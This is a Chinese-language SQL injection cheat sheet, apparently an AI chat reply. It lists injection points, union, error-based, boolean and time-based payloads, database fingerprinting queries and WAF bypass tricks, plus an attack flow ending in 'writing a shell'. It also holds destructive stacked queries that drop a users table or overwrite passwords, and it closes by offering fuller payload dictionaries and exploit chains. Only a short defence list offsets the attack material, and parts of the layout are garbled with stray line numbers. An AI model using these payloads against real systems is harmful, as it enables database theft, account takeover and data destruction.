SQL注入(SQL Injection)

中心主题:SQL注入


1. 注入位置分类

1.1 WHERE 子句注入(最常见)

  • 登录框(用户名 / 密码)
  • 搜索框
  • GET/POST 参数(如 id、name、keyword)
  • 典型 payload:
    • ' or 1=1 --
    • ' or '1'='1
    • admin' --
    • ') or ('1'='1

1.2 ORDER BY 注入

  • 常出现在排序参数(如 order=asc / desc)
  • 典型 payload:
    • order by 1--
    • order by 999-- (报错判断字段数)
    • order by rand() (盲注)

1.3 GROUP BY / HAVING 注入

  • 较少见,通常与聚合函数结合

1.4 LIMIT / OFFSET 注入

  • 翻页参数
  • payload:1 union select 1,2,3 limit 0,1

1.5 UPDATE / INSERT 注入

  • 修改个人信息、注册、评论等
  • payload 示例:
    • ', (select database()) , '
    • 1; update users set password='123' where id=1 --

1.6 其他位置

  • Cookie 注入(较少)
  • HTTP Header 注入(User-Agent、Referer 等,极少)
  • 文件名 / 路径注入(日志投毒型)

2. 注入类型

2.1 报错注入(Error-Based)

  • 利用数据库报错信息直接回显数据
  • 常见函数:
    • MySQL:extractvalue()updatexml()floor(rand(0)*2)
    • SQL Server:CAST()CONVERT()
    • Oracle:dbms_xmlquery.newcontext()

2.2 联合查询注入(Union-Based)

  • 字段数匹配后使用 union select

  • 经典 payload:

    ‘ union select 1,2,3,4,5 –+
    ‘ union select null,null,database(),user(),version() –+

    1
    2
    3
    4

    ### 2.3 布尔盲注(Boolean-Based)
    - 通过页面真假变化判断
    - 典型 payload:

    ‘ and 1=1 – (页面正常)
    ‘ and 1=2 – (页面异常)
    ‘ and ascii(substr(database(),1,1))>64 –

    1
    2
    3
    4
    5
    6
    7
    8

    ### 2.4 时间盲注(Time-Based)
    - 通过响应延迟判断
    - 常见函数:
    - MySQL:`sleep(5)`、`benchmark(5000000,md5(1))`
    - SQL Server:`WAITFOR DELAY '0:0:5'`
    - Oracle:`dbms_lock.sleep(5)`
    - payload 示例:

    ‘ and if(1=1,sleep(5),0) –
    ‘ and 1=case when substring(database(),1,1)=’a’ then sleep(5) else 0 end –

    1
    2
    3
    4

    ### 2.5 堆叠查询(Stacked Queries)
    - 支持多语句执行(; 分隔)
    - payload:

    ‘; drop table users; –
    ‘; update users set password=’hacked’ where id=1; –

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10

    ---

    ## 3. 常见数据库特征 payload

    ### 3.1 MySQL / MariaDB
    - 当前数据库:`database()`、`schema()`
    - 当前用户:`user()`、`current_user()`
    - 版本:`version()`
    - 库表字段:

    information_schema.tables
    information_schema.columns
    information_schema.schemata

3.2 SQL Server

  • 当前数据库:db_name()
  • 当前用户:user_name()system_user
  • 版本:@@version
  • 库表:sys.databasessys.tablessys.columns

3.3 Oracle

  • 当前用户:user
  • 版本:banner from v$version
  • 表:all_tablesuser_tables
  • 列:all_tab_columns

3.4 PostgreSQL

  • 当前数据库:current_database()
  • 当前用户:current_user
  • 版本:version()
  • 表:pg_tablesinformation_schema.tables

4. 绕过方式(WAF / 过滤)

4.1 空格 / 注释绕过

  • /**/--#/* */
  • /*!50000select*/
  • select/**/1

4.2 大小写绕过

  • SeLeCtuNiOn SeLeCt

4.3 编码绕过

  • URL 编码:%27%20
  • 双重编码
  • Unicode:%u0027

4.4 内联注释绕过

  • select/*!50000 version*/()

4.5 替代函数

  • substring()mid()substr()
  • sleep()benchmark()pg_sleep()

4.6 HTTP 参数污染 / 拆分

  • 多个同名参数
  • ?id=1&id=-1 union select...

5. 防御与修复建议

  • 使用参数化查询(Prepared Statements / PDO)
  • 使用 ORM(如 MyBatis、Hibernate、Django ORM、SQLAlchemy)
  • 输入严格白名单过滤
  • 最小权限原则(数据库用户只给必要权限)
  • WAF + 日志监控
  • 错误信息屏蔽(不要回显数据库错误)

快速记忆口诀(注入流程):

  1. 判断注入点(’ “ ) } 报错/变化)
  2. 判断字段数(order by / union select null,null…)
  3. 判断回显位置(union select 1,2,3…)
  4. 爆库名、表名、列名、数据
  5. 尝试提权 / 写 shell(视权限)

如需补充具体数据库的完整 payload 字典、WAF 绕过案例、或某个漏洞的详细利用链,请继续告诉我!